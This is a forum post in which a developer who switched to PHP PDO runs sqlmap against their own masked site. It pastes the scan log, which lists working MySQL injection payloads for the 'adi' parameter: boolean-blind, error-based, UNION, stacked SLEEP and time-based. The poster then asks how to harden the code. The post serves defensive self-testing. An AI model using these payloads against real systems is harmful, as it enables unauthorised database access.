Hi,
I have recently move away from the traditional way of writing queries in php into the pdo method. Where for e.g. my query I have bind parameter as $selectQueryResult1->bindParam(':adi',$adi ); . Thereafter I ran the sqlmap.
The first portion I ran was this.
python sqlmap.py -u "http://*******/******.php?ata=031014-1&adi=3066&"
Code:
[02:09:43] [INFO] testing connection to the target URL
[02:09:43] [INFO] testing if the target URL is stable. This can take a couple of seconds
[02:09:44] [INFO] target URL is stable
[02:09:44] [INFO] testing if GET parameter 'ata' is dynamic
[02:09:44] [WARNING] GET parameter 'ata' does not appear dynamic
[02:09:44] [WARNING] heuristic (basic) test shows that GET parameter 'ata' might not be injectable
[02:09:44] [INFO] testing for SQL injection on GET parameter 'ata'
[02:09:44] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[02:09:44] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[02:09:45] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[02:09:45] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[02:09:45] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[02:09:45] [INFO] testing 'MySQL inline queries'
[02:09:45] [INFO] testing 'PostgreSQL inline queries'
[02:09:45] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[02:09:45] [INFO] testing 'Oracle inline queries'
[02:09:45] [INFO] testing 'SQLite inline queries'
[02:09:45] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[02:09:45] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[02:09:45] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[02:09:45] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[02:09:45] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[02:09:45] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[02:09:46] [INFO] testing 'Oracle AND time-based blind'
[02:09:46] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[02:09:47] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[02:09:47] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms'
[02:09:48] [WARNING] GET parameter 'ata' is not injectable
[02:09:48] [INFO] testing if GET parameter 'adi' is dynamic
[02:09:48] [INFO] confirming that GET parameter 'adi' is dynamic
[02:09:49] [WARNING] GET parameter 'adi' does not appear dynamic
[02:09:49] [INFO] heuristic (basic) test shows that GET parameter 'adi' might be injectable (possible DBMS: 'MySQL')
[02:09:49] [INFO] heuristic (XSS) test shows that GET parameter 'adi' might be vulnerable to XSS attacks
[02:09:49] [INFO] testing for SQL injection on GET parameter 'adi'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
Second section I got this.
Code:
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n
do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[02:13:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[02:13:13] [WARNING] reflective value(s) found and filtering out
[02:13:13] [INFO] GET parameter 'adi' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[02:13:13] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[02:13:13] [INFO] GET parameter 'adi' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
[02:13:13] [INFO] testing 'MySQL inline queries'
[02:13:13] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[02:13:23] [INFO] GET parameter 'adi' seems to be 'MySQL > 5.0.11 stacked queries' injectable
[02:13:23] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[02:14:23] [INFO] GET parameter 'adi' seems to be 'MySQL > 5.0.11 AND time-based blind' injectable
[02:14:23] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[02:14:23] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[02:14:24] [INFO] target URL appears to be UNION injectable with 6 columns
[02:14:24] [INFO] GET parameter 'adi' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'adi' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
Finally I get this results.
Code:
sqlmap identified the following injection points with a total of 2034 HTTP(s) requests:
---
Parameter: adi (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ata=031014-1&adi=3066 AND 6994=6994&pID=&eT=C
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: ata=031014-1&adi=3066 AND (SELECT 7744 FROM(SELECT COUNT(*),CONCAT(0x7178627071,(SELECT (CASE WHEN (7744=7744) THEN 1 ELSE 0 END)),0x7176787871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&pID=&eT=C
Type: UNION query
Title: MySQL UNION query (NULL) - 6 columns
Payload: ata=031014-1&adi=3066 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7178627071,0x53766a7273484a62514e,0x7176787871),NULL,NULL#&pID=&eT=C
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries
Payload: ata=031014-1&adi=3066; SELECT SLEEP(5)-- &pID=&eT=C
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: ata=031014-1&adi=3066 AND SLEEP(5)&pID=&eT=C
---
[02:18:44] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6.5
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0
So looks like I need to further harden my approach any idea ?
